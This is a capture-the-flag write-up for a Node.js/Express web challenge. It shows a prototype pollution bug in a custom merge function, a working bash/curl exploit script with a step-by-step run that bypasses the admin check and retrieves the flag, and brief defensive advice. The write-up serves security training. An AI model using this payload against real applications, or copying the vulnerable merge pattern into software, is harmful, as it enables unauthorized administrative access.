Object Master
Object Master
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Authentication bypass via polluted prototype, JWT token-based session management, Prototype Pollution via recursive merge function
Summary
Task: Node.js/Express app with custom Storage class and JWT authentication, need to access admin panel. Solution: Prototype Pollution via proto key in merge function to set isAdmin=true and bypass authentication check.
Object Master — hackerlab.pro
Description
Наши разработчики создали надежную систему авторизации и персональное хранилище для каждого пользователя. Они уверены в безопасности приложения и готовы поспорить, что никто не сможет получить доступ к административной панели. Сможете ли вы доказать обратное?
Target: http://62.173.140.174:16061
Analysis
The application is a Node.js/Express API with JWT authentication. Each user receives an instance of the Storage class for data storage.
Vulnerable Code (routes.js)
javascript read-only • copy allowedclass Storage { constructor() { this.data = {}; this.prototype = Object.create(null); } merge(target, source) { for (let key in source) { if (key === '__proto__') { Object.assign(this.prototype, source[key]); continue; } // ... recursive merge } return target; } isAdmin() { return this.prototype.isAdmin === true; } }
Vulnerability: Prototype Pollution
The key problem is in the merge() method:
-
When the
__proto__key is detected, the code executes:javascript read-only • copy allowedObject.assign(this.prototype, source[key]); -
This allows direct modification of the Storage object's
this.prototype -
The
isAdmin()method checksthis.prototype.isAdmin === true -
The
/api/adminendpoint returns the flag ifstorage.isAdmin()returnstrue
Exploitation
By sending the payload {"__proto__": {"isAdmin": true}} to /api/store, we set this.prototype.isAdmin = true, which allows us to pass the check in isAdmin().
Solution
Bash Exploit
bash read-only • copy allowed#!/bin/bash TARGET="http://62.173.140.174:16061" # 1. Register user curl -s -X POST "$TARGET/api/register" \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"pass"}' # 2. Login and get JWT token TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"pass"}' | grep -o '"token":"[^"]*"' | cut -d'"' -f4) echo "[*] Token: $TOKEN" # 3. Prototype Pollution - set isAdmin = true curl -s -X POST "$TARGET/api/store" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"__proto__": {"isAdmin": true}}' echo "[*] Prototype polluted" # 4. Access admin panel and get flag FLAG=$(curl -s "$TARGET/api/admin" -H "Authorization: Bearer $TOKEN") echo "[+] Flag: $FLAG"
Step-by-Step Execution
bash read-only • copy allowed# Register $ curl -s -X POST "http://62.173.140.174:16061/api/register" \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"pass"}' {"message":"User registered successfully"} # Login $ curl -s -X POST "http://62.173.140.174:16061/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"pass"}' {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."} # Prototype Pollution $ curl -s -X POST "http://62.173.140.174:16061/api/store" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"__proto__": {"isAdmin": true}}' {"message":"Data stored successfully"} # Get flag $ curl -s "http://62.173.140.174:16061/api/admin" \ -H "Authorization: Bearer $TOKEN" {"flag":"CODEBY{REDACTED}"}
Defense
To prevent Prototype Pollution:
javascript read-only • copy allowed// 1. Filter dangerous keys const DANGEROUS_KEYS = ['__proto__', 'constructor', 'prototype']; if (DANGEROUS_KEYS.includes(key)) continue; // 2. Use Object.create(null) for data storage const safeObject = Object.create(null); // 3. Use Map instead of plain objects const storage = new Map(); // 4. Use libraries with protection (lodash.merge with option)
References
- Prototype Pollution - PortSwigger
- Node.js Prototype Pollution - HackTricks